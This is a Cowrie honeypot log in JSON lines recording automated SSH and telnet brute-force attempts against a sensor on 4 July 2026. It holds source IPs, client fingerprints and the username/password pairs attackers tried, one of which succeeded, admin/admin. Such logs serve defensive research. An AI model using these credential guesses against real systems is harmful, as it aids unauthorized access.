{"eventid":"cowrie.session.connect","src_ip":"20.193.152.133","src_port":57836,"dst_ip":"10.17.0.5","dst_port":22,"session":"74df44cb084a","protocol":"ssh","message":"New connection: 20.193.152.133:57836 (10.17.0.5:22) [session: 74df44cb084a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:48.833967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:48.838141Z","src_ip":"20.193.152.133","session":"74df44cb084a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:49.021365Z","src_ip":"20.193.152.133","session":"74df44cb084a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:49.339089Z","src_ip":"91.92.40.176","session":"813b5951a4bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2026@#","message":"login attempt [root/unitedstates2026@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:49.573163Z","src_ip":"20.193.152.133","session":"74df44cb084a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:50.759041Z","src_ip":"20.193.152.133","session":"74df44cb084a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":55802,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d62d00d0431","protocol":"ssh","message":"New connection: 143.20.185.207:55802 (10.17.0.5:22) [session: 6d62d00d0431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:58.451863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:58.456494Z","src_ip":"143.20.185.207","session":"6d62d00d0431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:58.573531Z","src_ip":"143.20.185.207","session":"6d62d00d0431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined4VCPU16GBAMD","message":"login attempt [root/undefined4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:58.920810Z","src_ip":"143.20.185.207","session":"6d62d00d0431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:00.040041Z","src_ip":"143.20.185.207","session":"6d62d00d0431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":45906,"dst_ip":"10.17.0.5","dst_port":22,"session":"527e88b22488","protocol":"ssh","message":"New connection: 103.82.20.28:45906 (10.17.0.5:22) [session: 527e88b22488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:08.903672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:08.916790Z","src_ip":"103.82.20.28","session":"527e88b22488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:09.175056Z","src_ip":"103.82.20.28","session":"527e88b22488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":53304,"dst_ip":"159.203.135.109","dst_port":22,"session":"f088c4484bc1","protocol":"ssh","message":"New connection: 162.241.33.238:53304 (159.203.135.109:22) [session: f088c4484bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:09.399994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:09.412449Z","src_ip":"162.241.33.238","session":"f088c4484bc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:09.446155Z","src_ip":"162.241.33.238","session":"f088c4484bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scroll","password":"scroll123","message":"login attempt [scroll/scroll123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:09.547117Z","src_ip":"162.241.33.238","session":"f088c4484bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ruslan009","message":"login attempt [root/ruslan009] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:09.978022Z","src_ip":"103.82.20.28","session":"527e88b22488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:10.579647Z","src_ip":"162.241.33.238","session":"f088c4484bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:11.236501Z","src_ip":"103.82.20.28","session":"527e88b22488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.184.118","src_port":57084,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a9ddea354b4","protocol":"ssh","message":"New connection: 92.205.184.118:57084 (10.17.0.5:22) [session: 2a9ddea354b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:20.487582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:20.491350Z","src_ip":"92.205.184.118","session":"2a9ddea354b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:20.580060Z","src_ip":"92.205.184.118","session":"2a9ddea354b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2026#","message":"login attempt [root/unitedstates2026#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:20.848106Z","src_ip":"92.205.184.118","session":"2a9ddea354b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:21.939966Z","src_ip":"92.205.184.118","session":"2a9ddea354b4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:26.450320Z","src_ip":"64.227.0.95","session":"e4f09aa02aa1","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:26.495018Z","src_ip":"64.227.0.95","session":"e4f09aa02aa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.125.165.132","src_port":38158,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3fdeec21801","protocol":"ssh","message":"New connection: 113.125.165.132:38158 (10.17.0.5:22) [session: c3fdeec21801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:38.141867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:38.145442Z","src_ip":"113.125.165.132","session":"c3fdeec21801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:38.387853Z","src_ip":"113.125.165.132","session":"c3fdeec21801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ym123456@","message":"login attempt [root/Ym123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:39.401714Z","src_ip":"113.125.165.132","session":"c3fdeec21801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:40.647025Z","src_ip":"113.125.165.132","session":"c3fdeec21801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.158","src_port":45878,"dst_ip":"10.17.0.5","dst_port":22,"session":"80fc05c3cf6a","protocol":"ssh","message":"New connection: 202.29.225.158:45878 (10.17.0.5:22) [session: 80fc05c3cf6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:48.998618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:49.003006Z","src_ip":"202.29.225.158","session":"80fc05c3cf6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:49.249783Z","src_ip":"202.29.225.158","session":"80fc05c3cf6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2025","message":"login attempt [root/unitedstates2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:49.992778Z","src_ip":"202.29.225.158","session":"80fc05c3cf6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:19:51.241479Z","src_ip":"202.29.225.158","session":"80fc05c3cf6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.164.193.195","src_port":44174,"dst_ip":"10.17.0.5","dst_port":22,"session":"9171b3dc4ed3","protocol":"ssh","message":"New connection: 110.164.193.195:44174 (10.17.0.5:22) [session: 9171b3dc4ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:19.123468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:19.127214Z","src_ip":"110.164.193.195","session":"9171b3dc4ed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:19.417034Z","src_ip":"110.164.193.195","session":"9171b3dc4ed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2025!","message":"login attempt [root/unitedstates2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:20.288647Z","src_ip":"110.164.193.195","session":"9171b3dc4ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:21.579781Z","src_ip":"110.164.193.195","session":"9171b3dc4ed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":45974,"dst_ip":"10.17.0.5","dst_port":22,"session":"29750b74357f","protocol":"ssh","message":"New connection: 176.32.39.21:45974 (10.17.0.5:22) [session: 29750b74357f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:26.398237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:26.401343Z","src_ip":"176.32.39.21","session":"29750b74357f","protocol":"ssh"}
